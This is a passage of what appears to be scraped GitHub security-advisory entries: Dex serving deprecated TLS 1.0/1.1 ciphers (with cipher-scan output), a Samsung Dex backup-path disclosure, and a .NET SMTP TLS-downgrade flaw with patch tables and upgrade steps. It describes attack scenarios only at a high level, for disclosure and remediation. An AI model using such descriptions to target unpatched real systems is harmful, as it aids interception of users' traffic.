TLS_RSA_WITH_3DES_EDE_CBC_SHA 168 \n TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)\n\n The group of cipher suites supported by the server has the following properties:\n Forward Secrecy OK - Supported\n Legacy RC4 Algorithm OK - Not Supported\n\n\n * TLS 1.1 Cipher Suites:\n Attempted to connect using 80 cipher suites.\n\n The server accepted the following 6 cipher suites:\n TLS_RSA_WITH_AES_256_CBC_SHA 256 \n TLS_RSA_WITH_AES_128_CBC_SHA 128 \n TLS_RSA_WITH_3DES_EDE_CBC_SHA 168 \n TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)\n\n The group of cipher suites supported by the server has the following properties:\n Forward Secrecy OK - Supported\n Legacy RC4 Algorithm OK - Not Supported\n\n\n * TLS 1.2 Cipher Suites:\n Attempted to connect using 156 cipher suites.\n\n The server accepted the following 11 cipher suites:\n TLS_RSA_WITH_AES_256_GCM_SHA384 256 \n TLS_RSA_WITH_AES_256_CBC_SHA 256 \n TLS_RSA_WITH_AES_128_GCM_SHA256 128 \n TLS_RSA_WITH_AES_128_CBC_SHA 128 \n TLS_RSA_WITH_3DES_EDE_CBC_SHA 168 \n TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)\n TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 256 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 128 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)\n\n The group of cipher suites supported by the server has the following properties:\n Forward Secrecy OK - Supported\n Legacy RC4 Algorithm OK - Not Supported\n\n\n * TLS 1.3 Cipher Suites:\n Attempted to connect using 5 cipher suites.\n\n The server accepted the following 3 cipher suites:\n TLS_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)\n TLS_AES_256_GCM_SHA384 256 ECDH: X25519 (253 bits)\n TLS_AES_128_GCM_SHA256 128 ECDH: X25519 (253 bits)\n```\n\nIn Dex 2.36.0, TLS 1.0 and TLS 1.1 are disabled as expected.\n```console\n * TLS 1.0 Cipher Suites:\n Attempted to connect using 80 cipher suites; the server rejected all cipher suites.\n\n * TLS 1.1 Cipher Suites:\n Attempted to connect using 80 cipher suites; the server rejected all cipher suites.\n\n * TLS 1.2 Cipher Suites:\n Attempted to connect using 156 cipher suites.\n\n The server accepted the following 5 cipher suites:\n TLS_RSA_WITH_AES_256_GCM_SHA384 256 \n TLS_RSA_WITH_AES_128_GCM_SHA256 128 \n TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)\n TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 256 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 128 ECDH: prime256v1 (256 bits)\n\n The group of cipher suites supported by the server has the following properties:\n Forward Secrecy OK - Supported\n Legacy RC4 Algorithm OK - Not Supported\n\n\n * TLS 1.3 Cipher Suites:\n Attempted to connect using 5 cipher suites.\n\n The server accepted the following 3 cipher suites:\n TLS_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)\n TLS_AES_256_GCM_SHA384 256 ECDH: X25519 (253 bits)\n```\n\n### Impact\nTLS 1.0 and TLS 1.1 connections can be decrypted by the attacker, and hence decrypt the traffic to Dex.",
"id": "GHSA-gr79-9v6v-gc9r",
"modified": "2025-05-27T15:45:13Z",
"published": "2024-01-26T01:57:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dexidp/dex/security/advisories/GHSA-gr79-9v6v-gc9r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23656"
},
{
"type": "WEB",
"url": "https://github.com/dexidp/dex/issues/2848"
},
{
"type": "WEB",
"url": "https://github.com/dexidp/dex/pull/2964"
},
{
"type": "WEB",
"url": "https://github.com/dexidp/dex/commit/5bbdb4420254ba73b9c4df4775fe7bdacf233b17"
},
{
"type": "PACKAGE",
"url": "https://github.com/dexidp/dex"
},
{
"type": "WEB",
"url": "https://github.com/dexidp/dex/blob/70d7a2c7c1bb2646b1a540e49616cbc39622fb83/cmd/dex/serve.go#L425"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dex discarding TLSconfig and always serves deprecated TLS 1.0/1.1 and insecure ciphers"
}
GHSA-GRFP-8C8P-564V
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05
VLAI
Details
Improper protection of backup path configuration in Samsung Dex prior to SMR MAY-2021 Release 1 allows local attackers to get sensitive information via changing the path.
{
"affected": [],
"aliases": [
"CVE-2021-25392"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-11T15:15:00Z",
"severity": "MODERATE"
},
"details": "Improper protection of backup path configuration in Samsung Dex prior to SMR MAY-2021 Release 1 allows local attackers to get sensitive information via changing the path.",
"id": "GHSA-grfp-8c8p-564v",
"modified": "2022-05-24T19:05:10Z",
"published": "2022-05-24T19:05:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25392"
},
{
"type": "WEB",
"url": "https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-1"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2021\u0026month=5"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GWQ6-FMVP-QP68
Vulnerability from github – Published: 2025-10-15 17:39 – Updated: 2025-10-15 17:39
VLAI
Summary
Microsoft Security Advisory CVE-2025-55248: .NET Information Disclosure Vulnerability
Details
Microsoft Security Advisory CVE-2025-55248 | .NET Information Disclosure Vulnerability
Executive summary
Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 8.0 and .NET 9.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
A MITM (man in the middle) attacker may prevent use of TLS between client and SMTP server, forcing client to send data over unencrypted connection.
Announcement
Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/372
Mitigation factors
Microsoft has not identified any mitigating factors for this vulnerability.
Affected software
- Any .NET 8.0 application running on .NET 8.0.20 or earlier.
- Any .NET 9.0 application running on .NET 9.0.9 or earlier.
Affected Packages
The vulnerability affects any Microsoft .NET project if it uses any of affected packages versions listed below
.NET 9
| Package name | Affected version | Patched version |
|---|---|---|
| Microsoft.NetCore.App.Runtime.linux-arm | >= 9.0.0, < =9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.linux-arm64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.linux-musl-arm | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.linux-musl-arm64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.linux-musl-x64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.linux-x64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.osx-arm64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.osx-x64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.win-arm | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.win-arm64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.win-x64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.win-x86 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
.NET 8
| Package name | Affected version | Patched version |
|---|---|---|
| Microsoft.NetCore.App.Runtime.linux-arm | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.linux-arm64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.linux-musl-arm | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.linux-musl-arm64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.linux-musl-x64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.linux-x64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.osx-arm64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.osx-x64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.win-arm | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.win-arm64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.win-x64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.win-x86 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
Advisory FAQ
How do I know if I am affected?
If you have a runtime with a version listed, or an affected package listed in affected software or affected packages, you're exposed to the vulnerability.
How do I fix the issue?
- To fix the issue please install the latest version of .NET 9.0 or .NET 8.0, as appropriate. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
-
If your application references the vulnerable package, update the package reference to the patched version.
-
You can list the versions you have installed by running the
dotnet --infocommand. You will see output like the following;
.NET SDK:
Version: 9.0.100
Commit: 59db016f11
Workload version: 9.0.100-manifests.3068a692
MSBuild version: 17.12.7+5b8665660
Runtime Environment:
OS Name: Mac OS X
OS Version: 15.2
OS Platform: Darwin
RID: osx-arm64
Base Path: /usr/local/share/dotnet/sdk/9.0.100/
.NET workloads installed:
There are no installed workloads to display.
Configured to use loose manifests when installing new manifests.
Host:
Version: 9.0.0
Architecture: arm64
Commit: 9d5a6a9aa4
.NET SDKs installed:
9.0.100 [/usr/local/share/dotnet/sdk]
.NET runtimes installed:
Microsoft.AspNetCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.AspNetCore.App]
Microsoft.NETCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.NETCore.App]
Other architectures found:
x64 [/usr/local/share/dotnet]
registered at [/etc/dotnet/install_location_x64]
Environment variables:
Not set
global.json file:
Not found
Learn more:
https://aka.ms/dotnet/info
Download .NET:
https://aka.ms/dotnet/download
- If you're using .NET 8.0, you should download and install .NET 8.0.21 Runtime or .NET 8.0.318 SDK (for Visual Studio 2022 v17.10 latest update) from https://dotnet.microsoft.com/download/dotnet-core/8.0.
- If you're using .NET 9.0, you should download and install .NET 9.0.10 Runtime or .NET 9.0.111 SDK (for Visual Studio 2022 v17.12 latest update) from https://dotnet.microsoft.com/download/dotnet-core/9.0.
Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.
Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.
Other Information
Reporting Security Issues
If you have found a potential security issue in .NET 9.0 or .NET 8.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core & .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.
Support
You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.
Disclaimer
The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
External Links
Revisions
V1.0 (October 14, 2025): Advisory published.
Severity
5.7 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-arm"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-arm"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.osx-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.osx-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-arm"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-x86"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-arm"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-arm"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.osx-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.osx-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-arm"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-x86"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55248"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-15T17:39:03Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Microsoft Security Advisory CVE-2025-55248 | .NET Information Disclosure Vulnerability\n\n## \u003ca name=\"executive-summary\"\u003e\u003c/a\u003eExecutive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 8.0 and .NET 9.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA MITM (man in the middle) attacker may prevent use of TLS between client and SMTP server, forcing client to send data over unencrypted connection.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/372\n\n## \u003ca name=\"mitigation-factors\"\u003e\u003c/a\u003eMitigation factors\n\nMicrosoft has not identified any mitigating factors for this vulnerability.\n\n## \u003ca name=\"affected-software\"\u003e\u003c/a\u003eAffected software\n\n* Any .NET 8.0 application running on .NET 8.0.20 or earlier.\n* Any .NET 9.0 application running on .NET 9.0.9 or earlier.\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\nThe vulnerability affects any Microsoft .NET project if it uses any of affected packages versions listed below\n\n### \u003ca name=\".NET 9\"\u003e\u003c/a\u003e.NET 9\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | \u003e= 9.0.0, \u003c =9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n\n### \u003ca name=\".NET 8\"\u003e\u003c/a\u003e.NET 8\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf you have a runtime with a version listed, or an affected package listed in [affected software](#affected-packages) or [affected packages](#affected-software), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET 9.0 or .NET 8.0, as appropriate. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version.\n\n* You can list the versions you have installed by running the `dotnet --info` command. You will see output like the following;\n\n```\n.NET SDK:\n Version: 9.0.100\n Commit: 59db016f11\n Workload version: 9.0.100-manifests.3068a692\n MSBuild version: 17.12.7+5b8665660\n\nRuntime Environment:\n OS Name: Mac OS X\n OS Version: 15.2\n OS Platform: Darwin\n RID: osx-arm64\n Base Path: /usr/local/share/dotnet/sdk/9.0.100/\n\n.NET workloads installed:\nThere are no installed workloads to display.\nConfigured to use loose manifests when installing new manifests.\n\nHost:\n Version: 9.0.0\n Architecture: arm64\n Commit: 9d5a6a9aa4\n\n.NET SDKs installed:\n 9.0.100 [/usr/local/share/dotnet/sdk]\n\n.NET runtimes installed:\n Microsoft.AspNetCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.AspNetCore.App]\n Microsoft.NETCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.NETCore.App]\n\nOther architectures found:\n x64 [/usr/local/share/dotnet]\n registered at [/etc/dotnet/install_location_x64]\n\nEnvironment variables:\n Not set\n\nglobal.json file:\n Not found\n\nLearn more:\n https://aka.ms/dotnet/info\n\nDownload .NET:\n https://aka.ms/dotnet/download\n```\n\n* If you\u0027re using .NET 8.0, you should download and install .NET 8.0.21 Runtime or .NET 8.0.318 SDK (for Visual Studio 2022 v17.10 latest update) from https://dotnet.microsoft.com/download/dotnet-core/8.0.\n* If you\u0027re using .NET 9.0, you should download and install .NET 9.0.10 Runtime or .NET 9.0.111 SDK (for Visual Studio 2022 v17.12 latest update) from https://dotnet.microsoft.com/download/dotnet-core/9.0.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in .NET 9.0 or .NET 8.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core \u0026 .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at \u003chttps://aka.ms/corebounty\u003e.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET 